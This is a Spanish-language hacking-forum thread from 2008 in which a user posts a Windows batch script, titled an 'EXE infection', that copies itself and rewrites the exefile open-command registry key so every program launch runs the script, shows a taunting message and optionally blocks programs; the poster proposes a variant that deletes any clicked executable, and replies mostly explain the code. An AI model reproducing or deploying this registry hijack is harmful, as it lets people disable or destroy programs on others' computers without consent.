Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: SmartGenius en 5 Mayo 2008, 03:21 am



Título: Posible Infeccion de EXE...
Publicado por: SmartGenius en 5 Mayo 2008, 03:21 am
miren... yo el code que tengo es mas o menos el siguiente

Código:
  @echo off
title Infeccion de Ejecutables

if exist "%windir%\system32\exer.bat" (goto yes) else (goto main)

:main
copy %0
reg add HKCR\exefile\shell\open\command /ve /t REG_SZ /d exer.bat %%1 %%* /f
exit

:yes
msg /w * Te tengo ;)
call %1 (opcional)
exit

aunque tambien se puede poner solo un nombre de archivo... que muestre un mensaje de error y se salga... asi le provocara que se salga de sus cabales  :P :P, yo mismo me infecte y casi que me tiro d euna ventana  ;D

el codigo es asi como lo postee, el objetivo mio es que cuando el usuario intente abrir un programa le salga un mensaje ( al azar (http://foro.elhacker.net/scripting/mensaje_al_azaren_batch-t211119.0.html), o predefinido "powered by...") y que se salga
esto podria ser usado con varios fines, que le muestre el error y se salga, o que le muestre otro mensaje y posteriormente abra el programa, o que borre cualquier exe que sea clicado  >:D >:D

solo es una idea, si esta mal... por favor me corrigen

Saludos.


Título: Re: Posible Infeccion de EXE...
Publicado por: MK-Ultra en 5 Mayo 2008, 20:22 pm
Perdona mi ignorancia, pero aver si entendí el code:

Código:
@echo off
title Infeccion de Ejecutables

if exist "%windir%\system32\exer.bat" (goto yes) else (goto main)
Hasta aca todo bien
Código:
:main
copy %0
reg add HKCR\exefile\shell\open\command /ve /t REG_SZ /d exer.bat %%1 %%* /f
exit
Esto lo que hace es copiar el bat (exer.bat) en la carpeta system32 (copy %0) y la linea del registro sirve para que cada vez que se ejecute un programa se ejecute previamente el bat?
Código:
:yes
msg /w * Te tengo ;)
call %1 (opcional)
exit

Bueno, esto saca un mensaje que dice te tengo y posteriormente habre el bat de vuelta, nada nuevo :)


Título: Re: Posible Infeccion de EXE...
Publicado por: Chino Moreno en 5 Mayo 2008, 20:36 pm
Deberias cambiar el titulo, esto no tiene nada que ver con infectar un ejecutable.


Título: Re: Posible Infeccion de EXE...
Publicado por: SmartGenius en 6 Mayo 2008, 02:59 am
Bueno, esto saca un mensaje que dice te tengo y posteriormente habre el bat de vuelta, nada nuevo :)

Pues si lo entendiste, pero no llama nuevamente al bat, sino que llama al ejecutable...

osea, este se agrega al registro, y cuando intenten abrir un programa se abrira es nnuestro code, entonces sale el mensaje, y la opcinal es que despues abar el programa al que se quiso llamar, osea el que se pasa al code con el parametro %1, si no ponemos esto, entonces simplemente no deja abrir ningun ejecutable...

Entiendes ??

Saludos.


Título: Re: Posible Infeccion de EXE...
Publicado por: MK-Ultra en 6 Mayo 2008, 03:17 am
Roger that  ;D


Título: Re: Posible Infeccion de EXE...
Publicado por: NoryNR en 7 Junio 2008, 19:06 pm
Deberias cambiar el titulo, esto no tiene nada que ver con infectar un ejecutable.

estoy con el :P


Título: Re: Posible Infeccion de EXE...
Publicado por: SmartGenius en 11 Junio 2008, 04:49 am
Pues i se habran dado cuenta dice"Posible"... no que realmente lo sea, pero se encarga de deshabilitar ejecutables, como si estuviesen infectado...

mas o menos esa era la idea.

Saludos.